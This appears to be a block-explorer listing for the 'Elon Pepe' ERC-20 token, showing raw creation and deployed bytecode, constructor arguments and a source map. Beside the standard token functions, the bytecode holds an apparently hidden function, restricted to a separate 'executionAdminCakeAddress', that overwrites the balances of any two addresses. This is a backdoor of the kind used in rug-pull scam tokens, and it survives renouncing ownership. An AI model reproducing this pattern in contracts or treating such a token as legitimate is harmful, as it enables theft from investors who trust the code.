906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610af5565b8484610afd565b6001905092915050565b6000600754905090565b60006103e9848484610cc6565b6104aa846103f5610af5565b6104a585604051806060016040528060288152602001611a1260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b610afd565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006105756104d9610af5565b8461057085600260006104ea610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adf90919063ffffffff16565b610afd565b6001905092915050565b610587610af5565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d906114ea565b60405180910390fd5b6066830361062357600080fd5b808261062f919061166c565b63ffffffff1683610640919061169b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261068f919061166c565b63ffffffff16836106a0919061169b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073b610af5565b73ffffffffffffffffffffffffffffffffffffffff166107596107bb565b73ffffffffffffffffffffffffffffffffffffffff16146107af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a6906114ea565b60405180910390fd5b6107b96000610fb2565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f39061146d565b80601f016020809104026020016040519081016040528092919081815260200182805461081f9061146d565b801561086c5780601f106108415761010080835404028352916020019161086c565b820191906000526020600020905b81548152906001019060200180831161084f57829003601f168201915b5050505050905090565b6000610939610883610af5565b8461093485604051806060016040528060258152602001611a3a60259139600260006108ad610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b610afd565b6001905092915050565b6000610957610950610af5565b8484610cc6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109f0610af5565b73ffffffffffffffffffffffffffffffffffffffff16610a0e6107bb565b73ffffffffffffffffffffffffffffffffffffffff1614610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b906114ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca9061174f565b60405180910390fd5b610adc81610fb2565b50565b60008183610aed919061176f565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390611815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd2906118a7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb9919061124b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611939565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b906119cb565b60405180910390fd5b610daf838383611076565b610e1b816040518060600160405280602681526020016119ec60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adf90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f50919061124b565b60405180910390a3505050565b6000838311158290610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c919061110b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110b557808201518184015260208101905061109a565b60008484015250505050565b6000601f19601f8301169050919050565b60006110dd8261107b565b6110e78185611086565b93506110f7818560208601611097565b611100816110c1565b840191505092915050565b6000602082019050818103600083015261112581846110d2565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061115d82611132565b9050919050565b61116d81611152565b811461117857600080fd5b50565b60008135905061118a81611164565b92915050565b6000819050919050565b6111a381611190565b81146111ae57600080fd5b50565b6000813590506111c08161119a565b92915050565b600080604083850312156111dd576111dc61112d565b5b60006111eb8582860161117b565b92505060206111fc858286016111b1565b9150509250929050565b60008115159050919050565b61121b81611206565b82525050565b60006020820190506112366000830184611212565b92915050565b61124581611190565b82525050565b6000602082019050611260600083018461123c565b92915050565b60008060006060848603121561127f5761127e61112d565b5b600061128d8682870161117b565b935050602061129e8682870161117b565b92505060406112af868287016111b1565b9150509250925092565b600060ff82169050919050565b6112cf816112b9565b82525050565b60006020820190506112ea60008301846112c6565b92915050565b600063ffffffff82169050919050565b611309816112f0565b811461131457600080fd5b50565b60008135905061132681611300565b92915050565b600080600080600060a086880312156113485761134761112d565b5b60006113568882890161117b565b95505060206113678882890161117b565b9450506040611378888289016111b1565b935050606061138988828901611317565b925050608061139a88828901611317565b9150509295509295909350565b6000602082840312156113bd576113bc61112d565b5b60006113cb8482850161117b565b91505092915050565b6113dd81611152565b82525050565b60006020820190506113f860008301846113d4565b92915050565b600080604083850312156114155761141461112d565b5b60006114238582860161117b565b92505060206114348582860161117b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148557607f821691505b6020821081036114985761149761143e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114d4602083611086565b91506114df8261149e565b602082019050919050565b60006020820190508181036000830152611503816114c7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115905780860481111561156c5761156b61150a565b5b600185161561157b5780820291505b808102905061158985611539565b9450611550565b94509492505050565b6000826115a95760019050611665565b816115b75760009050611665565b81600181146115cd57600281146115d757611606565b6001915050611665565b60ff8411156115e9576115e861150a565b5b8360020a915084821115611600576115ff61150a565b5b50611665565b5060208310610133831016604e8410600b841016171561163b5782820a9050838111156116365761163561150a565b5b611665565b6116488484846001611546565b9250905081840481111561165f5761165e61150a565b5b81810290505b9392505050565b6000611677826112f0565b9150611682836112f0565b925061169363ffffffff8484611599565b905092915050565b60006116a682611190565b91506116b183611190565b92508282026116bf81611190565b915082820484148315176116d6576116d561150a565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611739602683611086565b9150611744826116dd565b604082019050919050565b600060208201905081810360008301526117688161172c565b9050919050565b600061177a82611190565b915061178583611190565b925082820190508082111561179d5761179c61150a565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117ff602483611086565b915061180a826117a3565b604082019050919050565b6000602082019050818103600083015261182e816117f2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611891602283611086565b915061189c82611835565b604082019050919050565b600060208201905081810360008301526118c081611884565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611923602583611086565b915061192e826118c7565b604082019050919050565b6000602082019050818103600083015261195281611916565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119b5602383611086565b91506119c082611959565b604082019050919050565b600060208201905081810360008301526119e4816119a8565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122073d10561147b1efc7706852f7fba241b6702f8b3dc6a8d996df30e6cc39e3ceb64736f6c6343000811003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000c688f622d061b39ad62181cce49e45ca99998bdf00000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000009456c6f6e205065706500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008454c4f4e50455045000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b4578063490a3b47146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061110b565b60405180910390f35b610132600480360381019061012d91906111c6565b6103b4565b60405161013f9190611221565b60405180910390f35b6101506103d2565b60405161015d919061124b565b60405180910390f35b610180600480360381019061017b9190611266565b6103dc565b60405161018d9190611221565b60405180910390f35b61019e6104b5565b6040516101ab91906112d5565b60405180910390f35b6101ce60048036038101906101c991906111c6565b6104cc565b6040516101db9190611221565b60405180910390f35b6101fe60048036038101906101f9919061132c565b61057f565b005b61021a600480360381019061021591906113a7565b6106ea565b604051610227919061124b565b60405180910390f35b610238610733565b005b6102426107bb565b60405161024f91906113e3565b60405180910390f35b6102606107e4565b60405161026d919061110b565b60405180910390f35b610290600480360381019061028b91906111c6565b610876565b60405161029d9190611221565b60405180910390f35b6102c060048036038101906102bb91906111c6565b610943565b6040516102cd9190611221565b60405180910390f35b6102f060048036038101906102eb91906113fe565b610961565b6040516102fd919061124b565b60405180910390f35b610320600480360381019061031b91906113a7565b6109e8565b005b6060600480546103319061146d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061146d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610af5565b8484610afd565b6001905092915050565b6000600754905090565b60006103e9848484610cc6565b6104aa846103f5610af5565b6104a585604051806060016040528060288152602001611a1260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b610afd565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006105756104d9610af5565b8461057085600260006104ea610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adf90919063ffffffff16565b610afd565b6001905092915050565b610587610af5565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d906114ea565b60405180910390fd5b6066830361062357600080fd5b808261062f919061166c565b63ffffffff1683610640919061169b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261068f919061166c565b63ffffffff16836106a0919061169b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073b610af5565b73ffffffffffffffffffffffffffffffffffffffff166107596107bb565b73ffffffffffffffffffffffffffffffffffffffff16146107af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a6906114ea565b60405180910390fd5b6107b96000610fb2565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f39061146d565b80601f016020809104026020016040519081016040528092919081815260200182805461081f9061146d565b801561086c5780601f106108415761010080835404028352916020019161086c565b820191906000526020600020905b81548152906001019060200180831161084f57829003601f168201915b5050505050905090565b6000610939610883610af5565b8461093485604051806060016040528060258152602001611a3a60259139600260006108ad610af5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b610afd565b6001905092915050565b6000610957610950610af5565b8484610cc6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109f0610af5565b73ffffffffffffffffffffffffffffffffffffffff16610a0e6107bb565b73ffffffffffffffffffffffffffffffffffffffff1614610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b906114ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca9061174f565b60405180910390fd5b610adc81610fb2565b50565b60008183610aed919061176f565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390611815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd2906118a7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb9919061124b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611939565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b906119cb565b60405180910390fd5b610daf838383611076565b610e1b816040518060600160405280602681526020016119ec60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5d9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adf90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f50919061124b565b60405180910390a3505050565b6000838311158290610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c919061110b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110b557808201518184015260208101905061109a565b60008484015250505050565b6000601f19601f8301169050919050565b60006110dd8261107b565b6110e78185611086565b93506110f7818560208601611097565b611100816110c1565b840191505092915050565b6000602082019050818103600083015261112581846110d2565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061115d82611132565b9050919050565b61116d81611152565b811461117857600080fd5b50565b60008135905061118a81611164565b92915050565b6000819050919050565b6111a381611190565b81146111ae57600080fd5b50565b6000813590506111c08161119a565b92915050565b600080604083850312156111dd576111dc61112d565b5b60006111eb8582860161117b565b92505060206111fc858286016111b1565b9150509250929050565b60008115159050919050565b61121b81611206565b82525050565b60006020820190506112366000830184611212565b92915050565b61124581611190565b82525050565b6000602082019050611260600083018461123c565b92915050565b60008060006060848603121561127f5761127e61112d565b5b600061128d8682870161117b565b935050602061129e8682870161117b565b92505060406112af868287016111b1565b9150509250925092565b600060ff82169050919050565b6112cf816112b9565b82525050565b60006020820190506112ea60008301846112c6565b92915050565b600063ffffffff82169050919050565b611309816112f0565b811461131457600080fd5b50565b60008135905061132681611300565b92915050565b600080600080600060a086880312156113485761134761112d565b5b60006113568882890161117b565b95505060206113678882890161117b565b9450506040611378888289016111b1565b935050606061138988828901611317565b925050608061139a88828901611317565b9150509295509295909350565b6000602082840312156113bd576113bc61112d565b5b60006113cb8482850161117b565b91505092915050565b6113dd81611152565b82525050565b60006020820190506113f860008301846113d4565b92915050565b600080604083850312156114155761141461112d565b5b60006114238582860161117b565b92505060206114348582860161117b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148557607f821691505b6020821081036114985761149761143e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114d4602083611086565b91506114df8261149e565b602082019050919050565b60006020820190508181036000830152611503816114c7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115905780860481111561156c5761156b61150a565b5b600185161561157b5780820291505b808102905061158985611539565b9450611550565b94509492505050565b6000826115a95760019050611665565b816115b75760009050611665565b81600181146115cd57600281146115d757611606565b6001915050611665565b60ff8411156115e9576115e861150a565b5b8360020a915084821115611600576115ff61150a565b5b50611665565b5060208310610133831016604e8410600b841016171561163b5782820a9050838111156116365761163561150a565b5b611665565b6116488484846001611546565b9250905081840481111561165f5761165e61150a565b5b81810290505b9392505050565b6000611677826112f0565b9150611682836112f0565b925061169363ffffffff8484611599565b905092915050565b60006116a682611190565b91506116b183611190565b92508282026116bf81611190565b915082820484148315176116d6576116d561150a565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611739602683611086565b9150611744826116dd565b604082019050919050565b600060208201905081810360008301526117688161172c565b9050919050565b600061177a82611190565b915061178583611190565b925082820190508082111561179d5761179c61150a565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117ff602483611086565b915061180a826117a3565b604082019050919050565b6000602082019050818103600083015261182e816117f2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611891602283611086565b915061189c82611835565b604082019050919050565b600060208201905081810360008301526118c081611884565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611923602583611086565b915061192e826118c7565b604082019050919050565b6000602082019050818103600083015261195281611916565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119b5602383611086565b91506119c082611959565b604082019050919050565b600060208201905081810360008301526119e4816119a8565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122073d10561147b1efc7706852f7fba241b6702f8b3dc6a8d996df30e6cc39e3ceb64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000c688f622d061b39ad62181cce49e45ca99998bdf00000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000009456c6f6e205065706500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008454c4f4e50455045000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Elon Pepe
Arg [1] : symbol_ (string): ELONPEPE
Arg [2] : decimals_ (uint8): 9
Arg [3] : executionAdminCakeAddress (address): 0xC688f622d061b39AD62181cCE49E45ca99998bdF
Arg [4] : totalSupply_ (uint256): 1000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000c688f622d061b39ad62181cce49e45ca99998bdf
Arg [4] : 00000000000000000000000000000000000000000000000000038d7ea4c68000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 456c6f6e20506570650000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [8] : 454c4f4e50455045000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

13656:11782:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14616:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16903:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15715:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17595:452;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15559:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18456:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21857:518;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15886:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5448:94;;;:::i;:::-;;4797:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14826:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19259:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16276:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16555:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5697:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14616:91;14661:13;14694:5;14687:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14616:91;:::o;16903:210::-;17022:4;17044:39;17053:12;:10;:12::i;:::-;17067:7;17076:6;17044:8;:39::i;:::-;17101:4;17094:11;;16903:210;;;;:::o;15715:108::-;15776:7;15803:12;;15796:19;;15715:108;:::o;17595:452::-;17735:4;17752:36;17762:6;17770:9;17781:6;17752:9;:36::i;:::-;17799:220;17822:6;17843:12;:10;:12::i;:::-;17870:138;17926:6;17870:138;;;;;;;;;;;;;;;;;:11;:19;17882:6;17870:19;;;;;;;;;;;;;;;:33;17890:12;:10;:12::i;:::-;17870:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;17799:8;:220::i;:::-;18037:4;18030:11;;17595:452;;;;;:::o;15559:91::-;15608:5;15633:9;;;;;;;;;;;15626:16;;15559:91;:::o;18456:300::-;18571:4;18593:133;18616:12;:10;:12::i;:::-;18643:7;18665:50;18704:10;18665:11;:25;18677:12;:10;:12::i;:::-;18665:25;;;;;;;;;;;;;;;:34;18691:7;18665:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18593:8;:133::i;:::-;18744:4;18737:11;;18456:300;;;;:::o;21857:518::-;24614:12;:10;:12::i;:::-;24592:34;;:18;;;;;;;;;;;:34;;;24569:108;;;;;;;;;;;;:::i;:::-;;;;;;;;;22188:3:::1;22172:12;:19:::0;22164:28:::1;;;::::0;::::1;;22262:18;22241:17;:39;;;;:::i;:::-;22226:54;;:12;:54;;;;:::i;:::-;22199:9;:24;22209:13;22199:24;;;;;;;;;;;;;;;:81;;;;22349:18;22328:17;:39;;;;:::i;:::-;22313:54;;:12;:54;;;;:::i;:::-;22287:9;:23;22297:12;22287:23;;;;;;;;;;;;;;;:80;;;;21857:518:::0;;;;;:::o;15886:177::-;16005:7;16037:9;:18;16047:7;16037:18;;;;;;;;;;;;;;;;16030:25;;15886:177;;;:::o;5448:94::-;5028:12;:10;:12::i;:::-;5017:23;;:7;:5;:7::i;:::-;:23;;;5009:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5513:21:::1;5531:1;5513:9;:21::i;:::-;5448:94::o:0;4797:87::-;4843:7;4870:6;;;;;;;;;;;4863:13;;4797:87;:::o;14826:95::-;14873:13;14906:7;14899:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14826:95;:::o;19259:400::-;19379:4;19401:228;19424:12;:10;:12::i;:::-;19451:7;19473:145;19530:15;19473:145;;;;;;;;;;;;;;;;;:11;:25;19485:12;:10;:12::i;:::-;19473:25;;;;;;;;;;;;;;;:34;19499:7;19473:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;19401:8;:228::i;:::-;19647:4;19640:11;;19259:400;;;;:::o;16276:216::-;16398:4;16420:42;16430:12;:10;:12::i;:::-;16444:9;16455:6;16420:9;:42::i;:::-;16480:4;16473:11;;16276:216;;;;:::o;16555:201::-;16689:7;16721:11;:18;16733:5;16721:18;;;;;;;;;;;;;;;:27;16740:7;16721:27;;;;;;;;;;;;;;;;16714:34;;16555:201;;;;:::o;5697:192::-;5028:12;:10;:12::i;:::-;5017:23;;:7;:5;:7::i;:::-;:23;;;5009:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5806:1:::1;5786:22;;:8;:22;;::::0;5778:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5862:19;5872:8;5862:9;:19::i;:::-;5697:192:::0;:::o;8883:98::-;8941:7;8972:1;8968;:5;;;;:::i;:::-;8961:12;;8883:98;;;;:::o;3515:::-;3568:7;3595:10;3588:17;;3515:98;:::o;23602:380::-;23755:1;23738:19;;:5;:19;;;2373